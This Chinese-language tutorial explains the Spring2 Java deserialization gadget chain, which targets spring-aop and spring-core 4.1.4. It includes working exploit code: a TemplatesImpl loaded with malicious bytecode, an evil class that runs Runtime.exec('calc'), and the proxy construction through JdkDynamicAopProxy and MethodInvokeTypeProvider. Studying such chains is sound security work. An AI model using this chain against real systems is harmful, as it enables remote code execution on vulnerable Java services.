让我们回到Spring
Spring2 在 Spring1 的触发链上有所变换:
- 替换了 spring-beans 的
ObjectFactoryDelegatingInvocationHandler
- 使用了 spring-aop 的
JdkDynamicAopProxy
,并完成了后续触发 TemplatesImpl 的流程简而言之,换了一个chain,而kick-off和sink都没有变动
JAVA环境
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
依赖版本
- spring-core 依赖版本:4.1.4.RELEASE
- spring-aop 依赖版本:4.1.4.RELEASE
- jdk 版本:1.7
检查依赖配置
确认项目中是否正确引入了
- spring-core
- spring-aop
的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/org.springframework/spring-aop -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
资源下载
- maven spring-aop 4.1.4.RELEASE
- maven spring-core 4.1.4.RELEASE
- Java7 下载
- Spring框架 v4.1.4.RELEASE 源码
前置知识
JdkDynamicAopProxy - chain
org.springframework.aop.framework.JdkDynamicAopProxy
类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了
AopProxy
接口InvocationHandler
接口Serializable
接口
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
...
}
invoke
我们来看一下 invoke 方法:
- 获取 AdvisedSupport 里的 TargetSource
- 调用
getTarget()
方法返回其中的对象 - 调用
AopUtils#invokeJoinpointUsingReflection()
方法反射调用对象的 method 方法并返回
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
MethodInvocation invocation;
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Class<?> targetClass = null;
Object target = null;
try {
...
// May be null. Get as late as possible to minimize the time we "own" the target,
// in case it comes from a pool.
target = targetSource.getTarget();
if (target != null) {
targetClass = target.getClass();
}
// Get the interception chain for this method.
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
// Check whether we have any advice. If we don't, we can fallback on direct
// reflective invocation of the target, and avoid creating a MethodInvocation.
if (chain.isEmpty()) {
// We can skip creating a MethodInvocation: just invoke the target directly
// Note that the final invoker must be an InvokerInterceptor so we know it does
// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
}
else {
// We need to create a method invocation...
invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
// Proceed to the joinpoint through the interceptor chain.
retVal = invocation.proceed();
}
...
}
return retVal;
...
}
AopUtils#invokeJoinpointUsingReflection
AopUtils#invokeJoinpointUsingReflection()
方法里就是简单的反射调用,核心步骤就是:
ReflectionUtils.makeAccessible(method);
将方法设为可用method.invoke(target, args);
传参调用方法
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)
throws Throwable {
// Use reflection to invoke the method.
try {
ReflectionUtils.makeAccessible(method);
return method.invoke(target, args);
}
...
}
由此可以看到 JdkDynamicAopProxy 这个 InvocationHandler
类能出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链
攻击构造
与 Spring1 类似,如果忘记了Spring1的内容,建议先看一下之前这篇文章
JAVA反序列化深入学习(十一):Spring1
恶意代码主体
与Spring1几乎一致,不再赘述
public void Spring2() throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = generateTemplatesImpl();
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Type typeTemplateProxy = JdkDynamicAopProxy(constructor, tmpl);
Object objects = TypeProvider(constructor, typeTemplateProxy);
writeObjectToFile((Serializable)objects, fileName);
readFileObject(fileName);
}
恶意TemplatesImpl构造
生成包含恶意类字节码的 TemplatesImpl 类,跟之前的都类似,不再赘述
protected TemplatesImpl generateTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException {
// 读取恶意类存到 bytes[] 数组中
byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring2.class"));
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "neolock");
return tmpl;
}
恶意类构造
跟之前的都类似,不再赘述
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
public class EvilClassForSpring2 extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
// No implementation needed
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
// No implementation needed
}
}
JdkDynamicAopProxy
与Spring1的ObjectFactoryDelegatingInvocationHandler
类似,简单描述一下过程:
- 实例化
AdvisedSupport
- 将
TargetSource
设置为 tmpl,使getTarget
方法返回 TemplatesImpl JdkDynamicAopProxy
的 invoke 方法触发TargetSource
的getTarget
,并且会调用method.invoke(getTarget的返回值,args)
- 此时返回值被在第2步我们使用动态代理改为了
TemplatesImpl
- 接下来需要 method 是
newTransformer()
,就可以触发调用链了
- 此时返回值被在第2步我们使用动态代理改为了
- 使用动态代理出的
AdvisedSupport
类实例化JdkDynamicAopProxy
JdkDynamicAopProxy
本身就是个InvocationHandler
- 使用它来代理一个类,这样在这个类调用时将会触发
JdkDynamicAopProxy
的 invoke 方法
- 使用它来代理一个类,这样在这个类调用时将会触发
- 用
JdkDynamicAopProxy
代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类- 代理类同时拥有两个类的方法
- 既能被强转为
TypeProvider.getType()
的返回值,又可以在其中找到newTransformer
方法
protected Type JdkDynamicAopProxy(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);
// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl,并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
aopConstructor.setAccessible(true);
// 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxy
InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);
// JdkDynamicAopProxy 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, aopProxy);
return typeTemplateProxy;
}
与Spring1的差异
在Spring1,通过 AnnotationInvocationHandler
来将 getObject
的返回值设置为 TemplatesImpl
Map<String, Object> map = new HashMap<String, Object>();
map.put("getObject", tmpl);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
而Spring2则是通过实例化AdvisedSupport
,并直接将其TargetSource
设置为 tmpl,从而实现将 getTarget
的返回值设置为 TemplatesImpl
// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);
而其他部分的代码都类似,可见这里就是核心差异点
TypeProvider
与Spring1一致,没有变动,不再赘述
protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map = new HashMap<>();
map.put("getType", typeTemplateProxy);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Field field = clazz.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
return objects;
}
总结
以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下
利用说明
使用 JdkDynamicAopProxy
替换 ObjectFactoryDelegatingInvocationHandler
,并完成最终的调用链
Gadget 总结
- kick-off gadget:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
- chain gadget:
org.springframework.aop.framework.JdkDynamicAopProxy#invoke
调用链展示
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
ReflectionUtils.invokeMethod()
Templates(Proxy).newTransformer()
JdkDynamicAopProxy.invoke()
AopUtils.invokeJoinpointUsingReflection()
TemplatesImpl.newTransformer()
- Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八